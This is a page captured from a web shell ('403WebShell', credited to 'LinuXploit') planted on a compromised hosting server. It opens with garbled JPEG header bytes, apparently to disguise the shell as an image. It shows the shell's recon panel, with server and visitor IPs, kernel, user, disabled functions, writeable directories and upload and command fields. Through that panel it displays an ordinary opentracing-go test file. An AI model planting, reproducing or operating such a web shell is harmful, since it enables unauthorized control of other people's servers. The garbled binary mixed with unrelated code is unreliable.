JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.45  /  Your IP : 216.73.217.32
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/./self/root/opt/go/pkg/mod/github.com/opentracing/opentracing-go@v1.2.0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/./self/root/opt/go/pkg/mod/github.com/opentracing/opentracing-go@v1.2.0/gocontext_test.go
package opentracing

import (
	"context"
	"testing"
	"time"

	"github.com/stretchr/testify/assert"
)

func TestContextWithSpan(t *testing.T) {
	span := &noopSpan{}
	ctx := ContextWithSpan(context.Background(), span)
	span2 := SpanFromContext(ctx)
	if span != span2 {
		t.Errorf("Not the same span returned from context, expected=%+v, actual=%+v", span, span2)
	}

	ctx = context.Background()
	span2 = SpanFromContext(ctx)
	if span2 != nil {
		t.Errorf("Expected nil span, found %+v", span2)
	}

	ctx = ContextWithSpan(ctx, span)
	span2 = SpanFromContext(ctx)
	if span != span2 {
		t.Errorf("Not the same span returned from context, expected=%+v, actual=%+v", span, span2)
	}

	ctx = ContextWithSpan(ctx, nil)
	if s := SpanFromContext(ctx); s != nil {
		t.Errorf("Not able to reset span in context, expected=nil, actual=%+v", s)
	}
}

type noopExtTracer struct {
	NoopTracer
}

type noopExtTracerCtxType struct{}

func (noopExtTracer) ContextWithSpanHook(ctx context.Context, span Span) context.Context {
	return context.WithValue(ctx, noopExtTracerCtxType{}, noopExtTracerCtxType{})
}

var _ Tracer = noopExtTracer{}
var _ TracerContextWithSpanExtension = noopExtTracer{}

type noopExtSpan struct {
	noopSpan
}

func (noopExtSpan) Tracer() Tracer {
	return noopExtTracer{}
}

var _ Span = noopExtSpan{}

func TestContextWithSpanWithExtension(t *testing.T) {
	span := &noopExtSpan{}
	ctx := ContextWithSpan(context.Background(), span)
	span2 := SpanFromContext(ctx)
	if span != span2 {
		t.Errorf("Not the same span returned from context, expected=%+v, actual=%+v", span, span2)
	}
	if _, ok := ctx.Value(noopExtTracerCtxType{}).(noopExtTracerCtxType); !ok {
		t.Error("ContextWithSpanHook was not called")
	}
}

func TestStartSpanFromContext(t *testing.T) {
	testTracer := testTracer{}

	// Test the case where there *is* a Span in the Context.
	{
		parentSpan := &testSpan{}
		parentCtx := ContextWithSpan(context.Background(), parentSpan)
		childSpan, childCtx := StartSpanFromContextWithTracer(parentCtx, testTracer, "child")
		if !childSpan.Context().(testSpanContext).HasParent {
			t.Errorf("Failed to find parent: %v", childSpan)
		}
		if !childSpan.(testSpan).Equal(SpanFromContext(childCtx)) {
			t.Errorf("Unable to find child span in context: %v", childCtx)
		}
	}

	// Test the case where there *is not* a Span in the Context.
	{
		emptyCtx := context.Background()
		childSpan, childCtx := StartSpanFromContextWithTracer(emptyCtx, testTracer, "child")
		if childSpan.Context().(testSpanContext).HasParent {
			t.Errorf("Should not have found parent: %v", childSpan)
		}
		if !childSpan.(testSpan).Equal(SpanFromContext(childCtx)) {
			t.Errorf("Unable to find child span in context: %v", childCtx)
		}
	}
}

func TestStartSpanFromContextOptions(t *testing.T) {
	testTracer := testTracer{}

	// Test options are passed to tracer

	startTime := time.Now().Add(-10 * time.Second) // ten seconds ago
	span, ctx := StartSpanFromContextWithTracer(
		context.Background(), testTracer, "parent", StartTime(startTime), Tag{"component", "test"})

	assert.Equal(t, "test", span.(testSpan).Tags["component"])
	assert.Equal(t, startTime, span.(testSpan).StartTime)

	// Test it also works for a child span

	childStartTime := startTime.Add(3 * time.Second)
	childSpan, _ := StartSpanFromContextWithTracer(
		ctx, testTracer, "child", StartTime(childStartTime))

	assert.Equal(t, childSpan.(testSpan).Tags["component"], nil)
	assert.Equal(t, childSpan.(testSpan).StartTime, childStartTime)
}

Youez - 2016 - github.com/yon3zu
LinuXploit